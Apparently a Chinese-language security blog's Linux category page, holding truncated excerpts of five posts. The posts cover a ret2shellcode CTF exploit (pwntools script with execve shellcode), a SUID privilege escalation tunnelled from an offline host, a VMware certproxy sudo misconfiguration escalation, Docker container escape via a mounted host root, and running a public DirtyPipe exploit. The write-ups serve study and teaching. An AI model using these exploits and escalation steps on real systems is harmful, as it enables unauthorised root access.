Linux

(本篇文環境都使用 Ubuntu 18.04.6 LTS 進行測試) 在一次打 pwn 的經驗中，我發現了一件奇怪的事情，題目檔案沒有開 NX、Canary、PIE，機器也沒有開啟 ASLR。這題題目需要打 64Bit 的 Return to Shell Code，簡而言之，題目會透過讀檔的方式讀取一個寫好 Payload 的檔案，並執行 strcpy。這個 Exploit 就是 Padding + Return Address + Shell Code，而 Return Address 就是 Stack 上面寫的 Shell code，聽起來是一個很簡單的題目。 Exploit 如下 from pwn import * shellcode = b"H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05" payload = flat( b'a'*40, p64(0x7fffffffddb0), shellcode ) with open("badfile","wb") as f: f.write(payload) 關於 Return Address，當然就是使用 gdb 下段點進去找，但奇怪的事情就發生了！ 這個 Exploit Code 在 gdb 開啟的狀態下可以正常運作，但是程式獨立執行時卻會噴 Error，透過 pwntools 的 process 叫起來也一樣會爛掉。 ...

前陣子因緣際會下，遇到了某個情境，是在一個斷網的環境底下需要透過打 Pwn 的方式來進行提權。 這個環境的情境大概是，一個 Binary 具有 SUID 權限可以 Pwn。 但另外一個條件是，機器上面不能開 Port 出來，我也不可能幫對方的機器裝 Pwntools，身為一個 Pwntools 的愛用者，我決定使用邪門歪道把程式給跑起來，接下來進行 Pwn 的動作。 這邊的範例，我使用到今年初，我在台科大資工系講課時的教材，使用 Ubuntu 18.04 的環境打 64 bit 的 Return to Shellcode 的情境。 但這篇文的主旨不在 Exploit 這隻 Binary 的過程，而是如何透過 Tunneling 的方式把 Binary 帶到外面來打。因此我直接附上 Binary Source Code 以及 Exploit Code。 // gcc -no-pie -fno-stack-protector -z execstack ret2sc2.c -o ret2sc2 #include #include char name[100]; int main(){ printf("What's your name : "); scanf("%s",name); char comment[500]; printf("What's your comment : "); scanf("%s",comment); return 0; } 這邊我關閉了 PIE、Canary 以及 NX 保護，作為最簡單的 Demo 使用， Exploit Code 則使用 pwntools 來寫，非常簡單，就只是蓋 Return Address 並塞下 Shell Code 而已，而我的 Shell Code 是抄網路上的，就只是一個 setuid(0) 以及 execve(/bin/sh)。 ...

VMWare Security advisories：https://www.vmware.com/security/advisories/VMSA-2022-0014.html 這個漏洞其實是在一個因緣際會下發現的，當初我在研究 CVE-2022-22954，一個 VMware Workspace ONE Access Freemarker 的 SSTI to RCE 漏洞。 後來剛好跟朋友借到一台有洞的 Server 來測試 Exploit，就順利的 RCE 了，接下來，我接回了 Reverse Shell 想試著觀察 Server 內部的檔案結構跟原始碼，發現了當前使用者是 horizon。 Service 使用較低權限的使用者來執行，可以保障系統的安全。 當然，入侵的駭客也會嘗試透過各種方式來試著進行提權到 ROOT， 這次使用到的技巧完全是我今年 4/13 在台科資安社有提到的，他的構成其實非常簡單。 這個梗也常常出現在 Hack The Box 或 Try Hack Me，應該是 Easy 等級的題目，不過在 Real World 出現真的是滿神奇的事情。 提權不外乎， Kernel Exploit (Binary) 系列，或是 Misconfiguration，本次這個漏洞就只是一個程式開發時的小小設定錯誤。 當拿到一台 Linux 的低權限 Shell ，通常我的起手是會先 whoami，觀察使用者名稱；接下來會試著使用 sudo -l 觀察使用者有沒有機會透過 sudo 來搞事。 接下來就發現了一個酷東東，也就是最下面一行的 /opt/vmware/certproxy/bin/certproxyService.sh horizon 使用者可以使用 sudo 執行該 Script，並且不需要輸入密碼，而另外一個重點是，觀察這個 Script 會發現檔案權限的設定有問題，這個檔案的所屬擁有者就是我們自己 (horizon)，因此我們可以任意竄改裡面的檔案內容。 ...

最近常常遇到 Docker 相關的機器， Docker 機器裡面通常都很乾淨，缺少很多可以用的小工具，所以後滲透比起普通 Linux 機器有一點點點的不同 QQ，本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法 以下範例的機器 IP: Kali (Attacker) : 192.168.40.135 Ubuntu (Victim) : 192.168.40.136 Mount Host Root Directory 在這邊的例子中，我們假設我們已經擁有了 Container 中的 Root 權限，且嘗試想試著逃離 Docker 這邊使用的 Docker 環境是這樣叫起來的 sudo docker run -v /:/host -it ubuntu bash 觀察電腦中的 Process 假設我們把 host 的根目錄 mount 在 container 的 /host，我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process #!/bin/bash for dir_name in $(ls -d /host/proc/*/ | grep -E '\/host\/proc\/[0-9]+\/'); do echo $dir_name; cat $dir_name/status 2>/dev/null | head -n 1; cat $dir_name/cmdline 2>/dev/null ; echo -ne '\n'; echo '============================' done 透過觀察 Host 的 Process，我們可以設法找出電腦中可以利用的 Process，範例輸出：可以觀察到電腦有開 SSH ...

一起床就看到了好玩的東西，昨天 (3/7) Max Kellermann 揭露了一個 DirtyPipe 的漏洞 https://dirtypipe.cm4all.com/ 名字聽起來就跟 DirtyCow 很像，也是一個可以本地提權的漏洞，漏洞詳情可以看上方連結的研究。 網路上也馬上就出現了一大堆 Exploit 的腳本，這邊我拿 Arinerron 的來試玩了一下。 首先到 Ubuntu 官網下載了最新版的 20.04 VM。 steven@ubuntu:/tmp$ uname -a Linux ubuntu 5.13.0-30-generic #33~20.04.1-Ubuntu SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 安裝好後，新增一個沒有 root 權限的使用者做為測試。 sudo adduser testuser 下載並編譯腳本 cd /tmp git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit cd CVE-2022-0847-DirtyPipe-Exploit/ ./compile.sh 當然如果 Victim 端沒有 gcc 的話，也可以在 attacker 機器上編譯好再傳過去。 接下來執行 ./exploit 就順利的可以提權到 Root 了！ 理論上這個漏洞跟髒牛牛一樣，有很大的機率會搞壞 Linux Kernel，最近真的好多有趣的提權方法呢，前陣子的 pwnkit 跟這次的 Dirtypipe，看樣子大家的 Linux 真的要記得常常更新 (但 Server 更新也很可怕就是了 QQ)。